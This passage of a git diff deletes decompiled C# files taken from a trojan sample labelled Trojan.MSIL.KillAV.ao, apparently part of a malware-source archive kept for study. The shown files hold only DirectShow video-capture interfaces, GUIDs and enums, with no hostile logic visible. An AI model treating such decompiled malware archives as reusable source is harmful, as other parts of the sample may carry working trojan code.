a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("9e5530c5-7034-48b4-bb46-0b8a6efc8e36")] - [ComImport] - public interface IVMRFilterConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] uint Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig9.cs deleted file mode 100644 index e636d1ca..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig9.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig9 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("5a804648-4f66-4867-9c43-4f5c822cf1b8")] - [ComImport] - public interface IVMRFilterConfig9 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] VMRMode9 Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode9 Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl.cs deleted file mode 100644 index 2d71f1db..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0eb1088c-4dcd-46f0-878f-39dae86a51b7")] - [ComImport] - public interface IVMRWindowlessControl - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out uint lpAspectRatioMode); - - int SetAspectRatioMode([In] uint AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - - int SetColorKey([In] uint Clr); - - int GetColorKey(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl9.cs deleted file mode 100644 index 736b37b7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl9.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl9 -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("8f537d09-f85e-4414-b23b-502e54c79927")] - [ComImport] - public interface IVMRWindowlessControl9 - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out VMR9AspectRatioMode lpAspectRatioMode); - - int SetAspectRatioMode([In] VMR9AspectRatioMode AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoFrameStep.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoFrameStep.cs deleted file mode 100644 index 41ea5ccf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoFrameStep.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoFrameStep -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("e46a9787-2b71-444d-a4b5-1fab7b708d6a")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IVideoFrameStep - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Step(int dwFrames, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanStep(int bMultiple, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelStep(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoWindow.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoWindow.cs deleted file mode 100644 index eced243c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoWindow.cs +++ /dev/null @@ -1,136 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoWindow -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b4-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IVideoWindow - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Caption(string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Caption(out string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyle(int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyle(out int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyleEx(int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyleEx(out int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_AutoShow(int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AutoShow(out int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowState(int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowState(out int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BackgroundPalette(int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BackgroundPalette(out int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Visible(int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Visible(out int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Left(int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Left(out int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Width(int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Width(out int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Top(int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Top(out int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Height(int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Height(out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Owner(IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Owner(out IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_MessageDrain(IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_MessageDrain(out IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BorderColor(out int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BorderColor(int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FullScreenMode(out int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_FullScreenMode(int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowForeground(int focus); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NotifyOwnerMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetWindowPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMinIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMaxIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRestorePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int HideCursor(int hideCursor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsCursorHidden(out int hideCursor); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaSubType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaSubType.cs deleted file mode 100644 index 3e78ea55..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaSubType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaSubType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaSubType - { - public static readonly Guid YUYV = new Guid(1448695129, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid IYUV = new Guid(1448433993, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid DVSD = new Guid(1146312260, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid RGB1 = new Guid(3828804472U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB4 = new Guid(3828804473U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB8 = new Guid(3828804474U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB565 = new Guid(3828804475U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB555 = new Guid(3828804476U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB24 = new Guid(3828804477U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB32 = new Guid(3828804478U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Avi = new Guid(3828804488U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Asf = new Guid(1035472784U, (ushort) 37906, (ushort) 4561, (byte) 173, (byte) 237, (byte) 0, (byte) 0, (byte) 248, (byte) 117, (byte) 75, (byte) 153); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaType.cs deleted file mode 100644 index f75f607f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaType - { - public static readonly Guid Video = new Guid(1935960438, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Interleaved = new Guid(1937138025, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Audio = new Guid(1935963489, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Text = new Guid(1937012852, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Stream = new Guid(3828804483U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PhysicalConnectorType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PhysicalConnectorType.cs deleted file mode 100644 index 2385f7b8..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PhysicalConnectorType.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PhysicalConnectorType -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PhysicalConnectorType - { - Video_Tuner = 1, - Video_Composite = 2, - Video_SVideo = 3, - Video_RGB = 4, - Video_YRYBY = 5, - Video_SerialDigital = 6, - Video_ParallelDigital = 7, - Video_SCSI = 8, - Video_AUX = 9, - Video_1394 = 10, // 0x0000000A - Video_USB = 11, // 0x0000000B - Video_VideoDecoder = 12, // 0x0000000C - Video_VideoEncoder = 13, // 0x0000000D - Video_SCART = 14, // 0x0000000E - Audio_Tuner = 4096, // 0x00001000 - Audio_Line = 4097, // 0x00001001 - Audio_Mic = 4098, // 0x00001002 - Audio_AESDigital = 4099, // 0x00001003 - Audio_SPDIFDigital = 4100, // 0x00001004 - Audio_SCSI = 4101, // 0x00001005 - Audio_AUX = 4102, // 0x00001006 - Audio_1394 = 4103, // 0x00001007 - Audio_USB = 4104, // 0x00001008 - Audio_AudioDecoder = 4105, // 0x00001009 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinCategory.cs deleted file mode 100644 index 1c8cf403..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinCategory.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinCategory -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class PinCategory - { - public static readonly Guid Capture = new Guid(4218176129U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid Preview = new Guid(4218176130U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinDirection.cs deleted file mode 100644 index 19e5ae0e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinDirection.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinDirection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PinDirection - { - Input, - Output, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinInfo.cs deleted file mode 100644 index f97e6d19..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinInfo -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)] - public struct PinInfo - { - public IBaseFilter filter; - public PinDirection dir; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string name; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/RECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/RECT.cs deleted file mode 100644 index 9f3a94ef..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/RECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.RECT -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct RECT - { - private int left; - private int top; - private int right; - private int bottom; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingCapabilities.cs deleted file mode 100644 index ad314eb1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingCapabilities.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.SeekingCapabilities -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum SeekingCapabilities - { - CanSeekAbsolute = 1, - CanSeekForwards = 2, - CanSeekBackwards = 4, - CanGetCurrentPos = 8, - CanGetStopPos = 16, // 0x00000010 - CanGetDuration = 32, // 0x00000020 - CanPlayBackwards = 64, // 0x00000040 - CanDoSegments = 128, // 0x00000080 - Source = 256, // 0x00000100 - } -} diff --git 